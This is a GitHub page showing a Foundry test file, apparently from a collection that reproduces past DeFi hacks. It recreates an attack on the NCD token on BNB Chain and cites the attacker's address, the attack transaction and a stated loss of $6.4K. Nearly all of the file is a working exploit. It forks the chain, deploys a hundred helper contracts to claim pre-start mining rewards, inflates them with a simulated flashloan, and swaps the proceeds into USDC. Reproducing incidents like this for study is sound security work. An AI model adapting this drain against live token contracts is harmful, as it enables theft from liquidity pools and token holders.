-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
NCD_exp.sol
111 lines (93 loc) · 4.92 KB
/
NCD_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : $6.4K
// Attacker : https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984
// Attack Contract : https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68
// Attack Tx : https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7
// GUY : https://x.com/SlowMist_Team/status/1797821034319765604
interface INcd is IERC20 {
function mineStartTime(
address
) external view returns (uint256);
}
contract LetTheContractHaveRewards {
IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
INcd ncd_ = INcd(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
function preStartTimeRewards() public /*onlyOwner*/ {
ncd_usdc_pair_.skim(address(this));
ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
require(ncd_.mineStartTime(address(this)) > 0);
}
function ack() public /*onlyOwner*/ {
//first, to get a reward
ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
//seconds, to reward get msg.sender
ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
}
}
contract LetTheContractHaveUsdc is Test {
IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
function withdraw() public {
usdc_.approve(address(router), type(uint256).max);
ncd_.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(ncd_);
path[1] = address(usdc_);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ncd_.balanceOf(address(this)) * 5 / 100, 0, path, address(this), type(uint256).max
);
ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
usdc_.transfer(msg.sender, usdc_.balanceOf(address(this)));
}
}
contract EuroExploit is Test {
IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
LetTheContractHaveRewards[] letTheContractHaveRewardss;
function setUp() public {
vm.createSelectFork("bsc", 39_253_639);
usdc_.approve(address(router), type(uint256).max);
ncd_.approve(address(router), type(uint256).max);
}
function testExploit() public {
deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!
emit log_named_decimal_uint("ack before usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
address[] memory path = new address[](2);
path[0] = address(usdc_);
path[1] = address(ncd_);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
10 ether, 0, path, address(this), type(uint256).max
);
ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
for (uint256 i = 0; i < 100; i++) {
LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();
letTheContractHaveRewards.preStartTimeRewards();
letTheContractHaveRewardss.push(letTheContractHaveRewards);
}
vm.warp(block.timestamp + 1 days);
deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
10_000 ether, 0, path, address(this), type(uint256).max
);
for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {
LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];
ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));
letTheContractHaveRewards.ack();
}
while (ncd_.balanceOf(address(this)) > 1000 ether) {
// for(uint256 i = 0; i < 100; i++){
LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();
ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));
letTheContractHaveUsdc.withdraw();
}
usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan
emit log_named_decimal_uint("profit usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
}
}